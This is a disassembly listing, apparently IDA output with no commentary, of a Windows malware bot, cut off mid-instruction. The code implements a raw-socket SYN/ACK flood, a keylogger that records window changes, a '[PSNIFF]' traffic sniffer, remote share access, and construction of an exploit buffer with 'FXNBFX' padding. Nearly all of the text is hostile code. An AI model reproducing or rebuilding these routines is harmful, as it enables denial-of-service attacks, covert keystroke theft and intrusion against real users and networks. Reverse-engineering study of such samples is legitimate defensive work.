sub_417302 pop ecx push 0FFh push 3 push 2 call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call dword_43F5FC push eax lea eax, [ebp+var_440] push offset dword_42642C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25E02EAh loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43F648 cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call dword_43F5FC push eax lea eax, [ebp+var_440] push offset dword_4263E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 25E02EAh nop loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4263B4 push eax call sub_4172B0 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25E02EAh loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43F668 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43F6A8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call dword_43F668 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_41730C mov esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_41730C cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call dword_43F668 mov [ebp+var_16], ax call sub_41730C cdq mov ecx, 401h idiv ecx push edx call dword_43F668 push 12345678h mov [ebp+var_18], ax call dword_43F664 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43F668 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43F668 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417390 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF39 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417390 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF39 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call dword_43F700 call dword_43F5FC push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_426344 lea eax, [ebp+var_440] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 25E02EAh nop loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call dword_43F700 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4262E4 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25E02EAh sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call near ptr 2600000h nop lea eax, [ebp+var_114] push 104h push eax nop call near ptr 25F048Fh lea eax, [ebp+var_114] push offset asc_426C1C ; "\\" push eax call sub_4179D0 lea eax, [ebp+var_114] push offset dword_42F684 push eax call sub_4179D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4179A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417956 push esi call sub_417900 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_426BDC push 200h push eax call sub_41782A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D679 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43F604 mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 nop call near ptr 25F0439h call dword_43F5F0 cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call dword_43F548 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43F634 test ah, 80h jz short loc_402529 push 14h call dword_43F548 test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call dword_43F548 test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_417AB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_417AB0 cmp eax, 1B9h pop ecx jbe short loc_402593 call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_417AB0 test eax, eax pop ecx jz loc_402659 call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_4179D0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_426BA4 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_417078 pop ecx push 0 nop call near ptr 25E02EAh sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417B30 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43F668 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEE0 pop ecx push eax call dword_43F6A8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_427604 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25E02EAh loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4450CC[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43F694 cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_4275C0 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 25E02EAh nop loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43F614 cmp eax, 0FFFFFFFFh jnz short loc_402865 call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_427578 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 25E02EAh loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_426C78 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43F680 cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43F5A4 movzx eax, ax push eax push [ebp+var_C] call dword_43F6F4 push eax lea eax, [edi+edi*2] mov eax, dword_426C8C[eax*8] push off_426C68[eax*4] lea eax, [ebp+var_2B4] push offset unk_427528 push 200h push eax call sub_41782A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call dword_43F5FC push eax push offset unk_4274E4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push [ebp+var_4] call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 25E02EAh nop sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43C80C push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call near ptr 2610000h nop lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_43C808 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43F708 cmp eax, 5 mov ebx, 4C3h jz short loc_402AAD cmp eax, ebx jnz short loc_402AB7 loc_402AAD: ; CODE XREF: sub_4029E9+BEj push edi push edi push edi push esi call dword_43F708 loc_402AB7: ; CODE XREF: sub_4029E9+C2j cmp eax, 5 jz short loc_402AC5 cmp eax, ebx jz short loc_402AC5 push 1 pop eax jmp short loc_402AC7 ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: sub_4029E9+D1j ; sub_4029E9+D5j xor eax, eax loc_402AC7: ; CODE XREF: sub_4029E9+DAj pop edi pop esi pop ebx leave retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap ; sub_402DD7+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43C80C pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2610000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F add esp, 10h loc_402B5D: ; CODE XREF: sub_402ACC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43F5A8 test eax, eax jz short loc_402B7D push 7D0h nop call near ptr 25F0439h jmp short loc_402B5D ; --------------------------------------------------------------------------- loc_402B7D: ; CODE XREF: sub_402ACC+A2j push 1 pop eax pop edi pop esi leave retn sub_402ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p ; sub_402DD7+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417B30 push esi push edi push offset byte_42F674 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_416BCD mov edi, eax add esp, 10h test edi, edi jz loc_402DD3 push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417390 add esp, 24h lea esi, [edi+0D7h] loc_402C09: ; CODE XREF: sub_402B84+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C59 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417390 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C09 ; --------------------------------------------------------------------------- loc_402C59: ; CODE XREF: sub_402B84+90j cmp [ebp+arg_C4], 0 jz short loc_402C74 cmp [ebp+arg_C0], 3 jz short loc_402C7D cmp [ebp+arg_C0], 0 jmp short loc_402C7B ; --------------------------------------------------------------------------- loc_402C74: ; CODE XREF: sub_402B84+DCj cmp [ebp+arg_C0], 3 loc_402C7B: ; CODE XREF: sub_402B84+EEj jnz short loc_402C86 loc_402C7D: ; CODE XREF: sub_402B84+E5j push 4 push offset dword_427B60 jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj push 4 push offset dword_427B5C loc_402C8D: ; CODE XREF: sub_402B84+100j lea eax, [ebp+var_1FE0] push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_427694 push eax call sub_417390 push 10h lea eax, [ebp+var_CA4] push offset dword_4279F8 push eax call sub_417390 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417390 lea edi, [esi+370h] push 3Ch push offset off_427A0C lea eax, [ebp+edi+var_1004] push eax call sub_417390 add edi, 3Ch push 30h push offset dword_427A4C lea eax, [ebp+edi+var_1004] push eax call sub_417390 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417B89 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_417330 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417390 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DD3: ; CODE XREF: sub_402B84+3Ej pop edi pop esi leave retn sub_402B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp ; DATA XREF: ___:off_42ACB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417B30 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F45 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E9 pop ecx test eax, eax pop ecx jz loc_403055 lea 